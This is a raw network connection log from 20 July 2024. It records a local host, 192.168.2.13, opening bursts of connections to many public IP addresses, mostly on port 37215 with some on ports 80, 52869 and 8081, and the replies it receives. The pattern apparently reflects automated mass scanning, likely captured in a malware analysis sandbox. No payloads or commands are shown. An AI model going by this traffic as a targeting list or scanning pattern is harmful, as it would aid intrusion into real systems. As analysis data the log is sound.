Jul 20, 2024 23:01:02.593099117 CEST	37215	50563	197.161.213.41	192.168.2.13
Jul 20, 2024 23:01:02.593102932 CEST	37215	50563	197.150.53.167	192.168.2.13
Jul 20, 2024 23:01:02.593389034 CEST	37215	50563	41.163.201.249	192.168.2.13
Jul 20, 2024 23:01:02.593770027 CEST	37215	50563	197.222.3.19	192.168.2.13
Jul 20, 2024 23:01:02.593957901 CEST	37215	50563	103.232.100.172	192.168.2.13
Jul 20, 2024 23:01:02.593962908 CEST	37215	50563	41.194.86.31	192.168.2.13
Jul 20, 2024 23:01:02.594223022 CEST	37215	50563	41.158.116.181	192.168.2.13
Jul 20, 2024 23:01:02.594436884 CEST	37215	50563	41.98.49.19	192.168.2.13
Jul 20, 2024 23:01:02.594485998 CEST	50563	37215	192.168.2.13	102.5.81.200
Jul 20, 2024 23:01:02.594485998 CEST	50563	37215	192.168.2.13	168.2.10.60
Jul 20, 2024 23:01:02.594486952 CEST	50563	37215	192.168.2.13	197.71.96.101
Jul 20, 2024 23:01:02.594486952 CEST	50563	37215	192.168.2.13	41.224.63.252
Jul 20, 2024 23:01:02.594486952 CEST	50563	37215	192.168.2.13	41.169.111.246
Jul 20, 2024 23:01:02.594486952 CEST	34794	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:02.594486952 CEST	47378	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:02.594486952 CEST	33622	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:02.594686985 CEST	37215	50563	99.233.89.201	192.168.2.13
Jul 20, 2024 23:01:02.594769955 CEST	37215	50563	37.235.225.176	192.168.2.13
Jul 20, 2024 23:01:02.595277071 CEST	37215	50563	64.142.16.14	192.168.2.13
Jul 20, 2024 23:01:02.595282078 CEST	37215	50563	38.202.138.248	192.168.2.13
Jul 20, 2024 23:01:02.595546961 CEST	37215	50563	157.212.244.191	192.168.2.13
Jul 20, 2024 23:01:02.595551014 CEST	37215	50563	41.162.230.119	192.168.2.13
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	157.51.71.157
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	197.65.194.196
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	41.131.198.147
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	41.121.86.14
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	197.213.86.1
Jul 20, 2024 23:01:02.595730066 CEST	50563	37215	192.168.2.13	41.25.250.179
Jul 20, 2024 23:01:02.595730066 CEST	43498	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:02.595730066 CEST	42080	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:02.595829010 CEST	37215	50563	41.238.1.43	192.168.2.13
Jul 20, 2024 23:01:02.595971107 CEST	37215	50563	41.122.43.194	192.168.2.13
Jul 20, 2024 23:01:02.595976114 CEST	37215	50563	197.25.23.134	192.168.2.13
Jul 20, 2024 23:01:02.596268892 CEST	37215	50563	52.71.211.62	192.168.2.13
Jul 20, 2024 23:01:02.596896887 CEST	37215	50563	197.227.134.191	192.168.2.13
Jul 20, 2024 23:01:02.597177982 CEST	37215	50563	157.57.137.145	192.168.2.13
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	197.16.34.74
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	157.10.38.124
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	90.247.87.117
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	41.129.212.251
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	192.246.252.239
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	197.44.205.192
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	157.194.70.24
Jul 20, 2024 23:01:02.597183943 CEST	50563	37215	192.168.2.13	64.22.245.87
Jul 20, 2024 23:01:02.597735882 CEST	37215	50563	107.251.166.175	192.168.2.13
Jul 20, 2024 23:01:02.597739935 CEST	37215	50563	197.244.115.244	192.168.2.13
Jul 20, 2024 23:01:02.597748995 CEST	37215	50563	1.167.140.162	192.168.2.13
Jul 20, 2024 23:01:02.597884893 CEST	37215	50563	197.63.41.204	192.168.2.13
Jul 20, 2024 23:01:02.598535061 CEST	37215	50563	197.84.204.29	192.168.2.13
Jul 20, 2024 23:01:02.598782063 CEST	37215	50563	157.209.226.140	192.168.2.13
Jul 20, 2024 23:01:02.599091053 CEST	37215	50563	68.253.175.96	192.168.2.13
Jul 20, 2024 23:01:02.599136114 CEST	37215	50563	197.37.15.75	192.168.2.13
Jul 20, 2024 23:01:02.599139929 CEST	37215	50563	71.255.63.163	192.168.2.13
Jul 20, 2024 23:01:02.599415064 CEST	37215	50563	88.39.240.239	192.168.2.13
Jul 20, 2024 23:01:02.599493980 CEST	37215	50563	197.170.203.195	192.168.2.13
Jul 20, 2024 23:01:02.599951982 CEST	37215	50563	197.94.220.44	192.168.2.13
Jul 20, 2024 23:01:02.600148916 CEST	37215	50563	41.243.142.242	192.168.2.13
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	61.234.86.216
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	41.198.38.58
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	197.231.84.101
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	197.77.193.244
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	41.232.99.163
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	157.26.228.100
Jul 20, 2024 23:01:02.600414991 CEST	50563	37215	192.168.2.13	197.30.141.161
Jul 20, 2024 23:01:02.600415945 CEST	50563	37215	192.168.2.13	157.159.26.83
Jul 20, 2024 23:01:02.600450039 CEST	37215	50563	72.196.68.147	192.168.2.13
Jul 20, 2024 23:01:02.600591898 CEST	37215	50563	41.100.97.180	192.168.2.13
Jul 20, 2024 23:01:02.600842953 CEST	37215	50563	102.5.81.200	192.168.2.13
Jul 20, 2024 23:01:02.600847006 CEST	37215	50563	157.51.71.157	192.168.2.13
Jul 20, 2024 23:01:02.601138115 CEST	37215	50563	41.169.97.165	192.168.2.13
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	197.128.163.83
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	157.229.35.91
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	41.68.239.0
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	89.134.224.37
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	157.4.224.138
Jul 20, 2024 23:01:02.601458073 CEST	50563	37215	192.168.2.13	157.195.163.54
Jul 20, 2024 23:01:02.601458073 CEST	58204	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:02.601458073 CEST	43958	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:02.601660967 CEST	50563	37215	192.168.2.13	197.67.101.227
Jul 20, 2024 23:01:02.601660967 CEST	50563	37215	192.168.2.13	197.15.210.14
Jul 20, 2024 23:01:02.601660967 CEST	50563	37215	192.168.2.13	197.247.121.222
Jul 20, 2024 23:01:02.601660967 CEST	50563	37215	192.168.2.13	199.112.227.79
Jul 20, 2024 23:01:02.601661921 CEST	50563	37215	192.168.2.13	157.185.66.255
Jul 20, 2024 23:01:02.601661921 CEST	50563	37215	192.168.2.13	197.52.194.171
Jul 20, 2024 23:01:02.601661921 CEST	50563	37215	192.168.2.13	157.43.101.123
Jul 20, 2024 23:01:02.601661921 CEST	50563	37215	192.168.2.13	197.114.89.51
Jul 20, 2024 23:01:02.601732016 CEST	38052	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:02.601732016 CEST	52314	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:02.601732016 CEST	54014	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:02.601732016 CEST	34612	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:02.601732016 CEST	41644	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:02.601732016 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:02.601732016 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:02.601732016 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:02.601903915 CEST	50563	37215	192.168.2.13	157.134.213.71
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	72.130.2.96
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	41.57.52.90
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	54.185.48.82
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	157.80.115.106
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	41.97.50.199
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	157.36.58.9
Jul 20, 2024 23:01:02.601905107 CEST	50563	37215	192.168.2.13	197.74.10.241
Jul 20, 2024 23:01:02.601933956 CEST	37215	50563	197.227.194.127	192.168.2.13
Jul 20, 2024 23:01:02.602560043 CEST	37215	50563	167.112.13.151	192.168.2.13
Jul 20, 2024 23:01:02.602926970 CEST	37215	50563	197.65.194.196	192.168.2.13
Jul 20, 2024 23:01:02.602931976 CEST	37215	50563	197.16.34.74	192.168.2.13
Jul 20, 2024 23:01:02.602941036 CEST	37215	50563	168.2.10.60	192.168.2.13
Jul 20, 2024 23:01:02.603252888 CEST	37215	50563	41.187.162.151	192.168.2.13
Jul 20, 2024 23:01:02.603256941 CEST	37215	50563	197.71.96.101	192.168.2.13
Jul 20, 2024 23:01:02.603408098 CEST	37215	50563	157.10.38.124	192.168.2.13
Jul 20, 2024 23:01:02.603617907 CEST	37215	50563	157.115.29.35	192.168.2.13
Jul 20, 2024 23:01:02.603717089 CEST	57172	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:02.603717089 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:02.603717089 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:02.603717089 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:02.603717089 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:02.603717089 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:02.603717089 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:02.603717089 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:02.603795052 CEST	37215	50563	41.131.198.147	192.168.2.13
Jul 20, 2024 23:01:02.604113102 CEST	37215	50563	197.9.6.150	192.168.2.13
Jul 20, 2024 23:01:02.604116917 CEST	37215	50563	41.121.86.14	192.168.2.13
Jul 20, 2024 23:01:02.604125977 CEST	37215	50563	90.247.87.117	192.168.2.13
Jul 20, 2024 23:01:02.604130030 CEST	37215	50563	157.118.104.78	192.168.2.13
Jul 20, 2024 23:01:02.604321957 CEST	37215	50563	41.129.212.251	192.168.2.13
Jul 20, 2024 23:01:02.604326963 CEST	37215	50563	157.201.209.22	192.168.2.13
Jul 20, 2024 23:01:02.604710102 CEST	45794	80	192.168.2.13	95.149.90.135
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	223.35.255.72
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	157.238.235.83
Jul 20, 2024 23:01:02.604710102 CEST	50568	80	192.168.2.13	95.250.42.86
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	157.254.190.35
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	92.95.67.30
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	157.235.44.24
Jul 20, 2024 23:01:02.604710102 CEST	50563	37215	192.168.2.13	197.0.92.64
Jul 20, 2024 23:01:02.604728937 CEST	37215	50563	192.246.252.239	192.168.2.13
Jul 20, 2024 23:01:02.604733944 CEST	37215	50563	197.213.86.1	192.168.2.13
Jul 20, 2024 23:01:02.604923964 CEST	37215	50563	197.14.127.162	192.168.2.13
Jul 20, 2024 23:01:02.604928970 CEST	37215	50563	41.25.250.179	192.168.2.13
Jul 20, 2024 23:01:02.605129004 CEST	37215	50563	86.238.25.205	192.168.2.13
Jul 20, 2024 23:01:02.605465889 CEST	37215	50563	197.44.205.192	192.168.2.13
Jul 20, 2024 23:01:02.605596066 CEST	37215	50563	41.224.63.252	192.168.2.13
Jul 20, 2024 23:01:02.606122017 CEST	37215	50563	157.194.70.24	192.168.2.13
Jul 20, 2024 23:01:02.606126070 CEST	37215	50563	157.107.109.24	192.168.2.13
Jul 20, 2024 23:01:02.606152058 CEST	37215	50563	41.169.111.246	192.168.2.13
Jul 20, 2024 23:01:02.606467009 CEST	37215	50563	64.22.245.87	192.168.2.13
Jul 20, 2024 23:01:02.606472969 CEST	37215	43498	197.68.211.95	192.168.2.13
Jul 20, 2024 23:01:02.606482029 CEST	37215	50563	197.171.243.37	192.168.2.13
Jul 20, 2024 23:01:02.606486082 CEST	37215	42080	197.107.200.173	192.168.2.13
Jul 20, 2024 23:01:02.606684923 CEST	37215	50563	197.87.252.139	192.168.2.13
Jul 20, 2024 23:01:02.606826067 CEST	37215	38052	41.195.201.112	192.168.2.13
Jul 20, 2024 23:01:02.607204914 CEST	44092	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:02.607204914 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:02.607204914 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:02.607204914 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:02.607204914 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:02.607204914 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:02.607204914 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:02.607204914 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:02.607413054 CEST	37215	50563	197.67.101.227	192.168.2.13
Jul 20, 2024 23:01:02.607418060 CEST	37215	50563	197.128.163.83	192.168.2.13
Jul 20, 2024 23:01:02.607575893 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:02.607575893 CEST	50408	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:02.607575893 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:02.607575893 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.607575893 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.607575893 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.607575893 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.607575893 CEST	43498	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:02.607683897 CEST	37215	52314	197.140.115.231	192.168.2.13
Jul 20, 2024 23:01:02.607687950 CEST	37215	34794	197.74.4.205	192.168.2.13
Jul 20, 2024 23:01:02.607698917 CEST	37215	50563	157.134.213.71	192.168.2.13
Jul 20, 2024 23:01:02.607708931 CEST	37215	47378	157.12.134.58	192.168.2.13
Jul 20, 2024 23:01:02.607713938 CEST	37215	50563	157.229.35.91	192.168.2.13
Jul 20, 2024 23:01:02.607883930 CEST	50563	37215	192.168.2.13	157.116.104.48
Jul 20, 2024 23:01:02.607883930 CEST	50563	37215	192.168.2.13	197.118.0.13
Jul 20, 2024 23:01:02.607883930 CEST	50563	37215	192.168.2.13	197.23.213.95
Jul 20, 2024 23:01:02.607884884 CEST	50563	37215	192.168.2.13	41.55.236.102
Jul 20, 2024 23:01:02.607884884 CEST	50563	37215	192.168.2.13	157.32.160.146
Jul 20, 2024 23:01:02.607884884 CEST	50563	37215	192.168.2.13	197.137.49.227
Jul 20, 2024 23:01:02.607884884 CEST	50563	37215	192.168.2.13	197.147.129.13
Jul 20, 2024 23:01:02.607884884 CEST	50563	37215	192.168.2.13	41.85.57.225
Jul 20, 2024 23:01:02.607985020 CEST	37215	50563	72.130.2.96	192.168.2.13
Jul 20, 2024 23:01:02.607989073 CEST	37215	54014	157.18.137.5	192.168.2.13
Jul 20, 2024 23:01:02.608359098 CEST	37215	50563	61.234.86.216	192.168.2.13
Jul 20, 2024 23:01:02.608364105 CEST	52869	46244	191.94.176.193	192.168.2.13
Jul 20, 2024 23:01:02.608522892 CEST	37215	33622	41.215.54.255	192.168.2.13
Jul 20, 2024 23:01:02.608792067 CEST	37215	50563	41.57.52.90	192.168.2.13
Jul 20, 2024 23:01:02.609194040 CEST	37215	57172	157.44.27.109	192.168.2.13
Jul 20, 2024 23:01:02.609200001 CEST	37215	50563	54.185.48.82	192.168.2.13
Jul 20, 2024 23:01:02.609205008 CEST	37215	34612	197.189.139.115	192.168.2.13
Jul 20, 2024 23:01:02.609586954 CEST	37215	50563	41.68.239.0	192.168.2.13
Jul 20, 2024 23:01:02.609591007 CEST	37215	49820	197.201.223.21	192.168.2.13
Jul 20, 2024 23:01:02.609771013 CEST	80	45794	95.149.90.135	192.168.2.13
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	197.88.193.199
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	41.43.209.103
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	197.92.223.199
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	157.226.167.78
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	197.8.204.140
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	209.106.57.135
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	157.218.75.115
Jul 20, 2024 23:01:02.610085964 CEST	50563	37215	192.168.2.13	79.194.180.209
Jul 20, 2024 23:01:02.610311985 CEST	37215	50563	157.80.115.106	192.168.2.13
Jul 20, 2024 23:01:02.610316038 CEST	37215	50563	197.15.210.14	192.168.2.13
Jul 20, 2024 23:01:02.610924006 CEST	37215	41644	197.214.26.254	192.168.2.13
Jul 20, 2024 23:01:02.610951900 CEST	37215	50563	89.134.224.37	192.168.2.13
Jul 20, 2024 23:01:02.610956907 CEST	37215	41910	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:02.610965014 CEST	37215	50563	157.4.224.138	192.168.2.13
Jul 20, 2024 23:01:02.610970020 CEST	37215	50563	197.247.121.222	192.168.2.13
Jul 20, 2024 23:01:02.610977888 CEST	37215	50563	157.195.163.54	192.168.2.13
Jul 20, 2024 23:01:02.611869097 CEST	52869	32794	220.123.4.18	192.168.2.13
Jul 20, 2024 23:01:02.611875057 CEST	37215	50563	41.198.38.58	192.168.2.13
Jul 20, 2024 23:01:02.611882925 CEST	37215	50563	199.112.227.79	192.168.2.13
Jul 20, 2024 23:01:02.612097025 CEST	37215	49966	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:02.612102032 CEST	37215	58204	40.45.115.153	192.168.2.13
Jul 20, 2024 23:01:02.612109900 CEST	37215	50563	41.97.50.199	192.168.2.13
Jul 20, 2024 23:01:02.612523079 CEST	37215	43958	41.68.213.107	192.168.2.13
Jul 20, 2024 23:01:02.612616062 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:02.612616062 CEST	56802	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:02.612616062 CEST	36826	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:02.612616062 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.612616062 CEST	34798	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:02.612616062 CEST	34794	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:02.612616062 CEST	47378	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:02.612616062 CEST	33622	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:02.612648964 CEST	37215	59794	157.122.210.70	192.168.2.13
Jul 20, 2024 23:01:02.612653971 CEST	37215	50563	157.36.58.9	192.168.2.13
Jul 20, 2024 23:01:02.612662077 CEST	37215	40544	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:02.612977028 CEST	8081	48442	125.119.2.235	192.168.2.13
Jul 20, 2024 23:01:02.612981081 CEST	37215	50563	157.185.66.255	192.168.2.13
Jul 20, 2024 23:01:02.612989902 CEST	37215	50563	197.74.10.241	192.168.2.13
Jul 20, 2024 23:01:02.612993956 CEST	37215	44092	197.206.209.177	192.168.2.13
Jul 20, 2024 23:01:02.613074064 CEST	37215	34900	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:02.613078117 CEST	37215	41902	197.80.112.192	192.168.2.13
Jul 20, 2024 23:01:02.613351107 CEST	42080	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:02.613351107 CEST	38052	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:02.613351107 CEST	52314	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:02.613351107 CEST	54014	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:02.613351107 CEST	34612	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:02.613351107 CEST	41644	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:02.613351107 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:02.613351107 CEST	50563	37215	192.168.2.13	197.95.184.147
Jul 20, 2024 23:01:02.613360882 CEST	37215	50408	41.174.42.115	192.168.2.13
Jul 20, 2024 23:01:02.613456011 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.613456011 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.613456011 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.613456011 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.613456011 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.613456011 CEST	58204	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:02.613456011 CEST	43958	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:02.613456011 CEST	44092	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:02.613617897 CEST	50563	37215	192.168.2.13	157.7.125.67
Jul 20, 2024 23:01:02.613617897 CEST	50563	37215	192.168.2.13	41.143.204.7
Jul 20, 2024 23:01:02.613617897 CEST	44900	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:02.613617897 CEST	35908	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:02.613617897 CEST	44020	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:02.613617897 CEST	59198	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:02.613617897 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:02.613619089 CEST	37284	37215	192.168.2.13	14.117.126.33
Jul 20, 2024 23:01:02.614012957 CEST	37215	50563	197.52.194.171	192.168.2.13
Jul 20, 2024 23:01:02.614135027 CEST	37215	50563	223.35.255.72	192.168.2.13
Jul 20, 2024 23:01:02.614144087 CEST	37215	53990	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:02.614149094 CEST	37215	50563	157.116.104.48	192.168.2.13
Jul 20, 2024 23:01:02.614435911 CEST	37215	50563	157.43.101.123	192.168.2.13
Jul 20, 2024 23:01:02.614439964 CEST	37215	36190	91.112.89.216	192.168.2.13
Jul 20, 2024 23:01:02.614831924 CEST	37215	43246	157.181.19.73	192.168.2.13
Jul 20, 2024 23:01:02.614836931 CEST	37215	32842	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:02.614845991 CEST	37215	58268	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:02.614850998 CEST	37215	41860	140.242.21.87	192.168.2.13
Jul 20, 2024 23:01:02.614860058 CEST	37215	50563	197.118.0.13	192.168.2.13
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	41.244.185.110
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	163.186.123.46
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	197.164.107.163
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	197.167.225.223
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	187.64.89.83
Jul 20, 2024 23:01:02.615482092 CEST	50563	37215	192.168.2.13	41.163.115.140
Jul 20, 2024 23:01:02.615482092 CEST	57060	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:02.615483046 CEST	35738	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:02.615590096 CEST	37215	50563	197.114.89.51	192.168.2.13
Jul 20, 2024 23:01:02.615595102 CEST	37215	50563	197.23.213.95	192.168.2.13
Jul 20, 2024 23:01:02.616046906 CEST	37215	54190	41.151.30.29	192.168.2.13
Jul 20, 2024 23:01:02.616050959 CEST	37215	36476	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:02.616055012 CEST	37215	50563	197.88.193.199	192.168.2.13
Jul 20, 2024 23:01:02.616059065 CEST	37215	48126	197.30.140.44	192.168.2.13
Jul 20, 2024 23:01:02.616184950 CEST	37215	55314	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:02.616267920 CEST	37215	50563	41.55.236.102	192.168.2.13
Jul 20, 2024 23:01:02.616491079 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:02.616491079 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:02.616491079 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:02.616491079 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:02.616491079 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:02.616491079 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:02.616491079 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:02.616491079 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.616718054 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:02.616718054 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:02.616718054 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:02.616718054 CEST	50408	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:02.616718054 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:02.616718054 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.616718054 CEST	54190	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:02.616719007 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.617075920 CEST	37215	51226	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:02.617080927 CEST	37215	49892	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:02.617089033 CEST	37215	50563	157.32.160.146	192.168.2.13
Jul 20, 2024 23:01:02.617093086 CEST	37215	50563	41.43.209.103	192.168.2.13
Jul 20, 2024 23:01:02.617096901 CEST	37215	50563	157.238.235.83	192.168.2.13
Jul 20, 2024 23:01:02.617100954 CEST	37215	40330	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:02.617373943 CEST	37215	60632	201.248.6.28	192.168.2.13
Jul 20, 2024 23:01:02.617378950 CEST	37215	50563	197.92.223.199	192.168.2.13
Jul 20, 2024 23:01:02.617387056 CEST	37215	50563	197.137.49.227	192.168.2.13
Jul 20, 2024 23:01:02.617881060 CEST	37215	47084	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:02.617959976 CEST	37215	50563	157.226.167.78	192.168.2.13
Jul 20, 2024 23:01:02.618165970 CEST	37215	59616	41.104.162.59	192.168.2.13
Jul 20, 2024 23:01:02.618305922 CEST	37215	45408	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:02.618309975 CEST	37215	50563	197.8.204.140	192.168.2.13
Jul 20, 2024 23:01:02.618773937 CEST	37215	50563	197.147.129.13	192.168.2.13
Jul 20, 2024 23:01:02.618810892 CEST	37215	54996	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:02.618815899 CEST	37215	50563	41.85.57.225	192.168.2.13
Jul 20, 2024 23:01:02.618824959 CEST	37215	56802	197.96.187.238	192.168.2.13
Jul 20, 2024 23:01:02.619036913 CEST	37215	50563	209.106.57.135	192.168.2.13
Jul 20, 2024 23:01:02.619230986 CEST	37215	44970	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:02.619235039 CEST	37215	50563	157.7.125.67	192.168.2.13
Jul 20, 2024 23:01:02.619817972 CEST	37215	36826	197.164.134.229	192.168.2.13
Jul 20, 2024 23:01:02.619822025 CEST	37215	57420	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:02.619827032 CEST	37215	51784	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:02.620306015 CEST	37215	37842	41.31.110.255	192.168.2.13
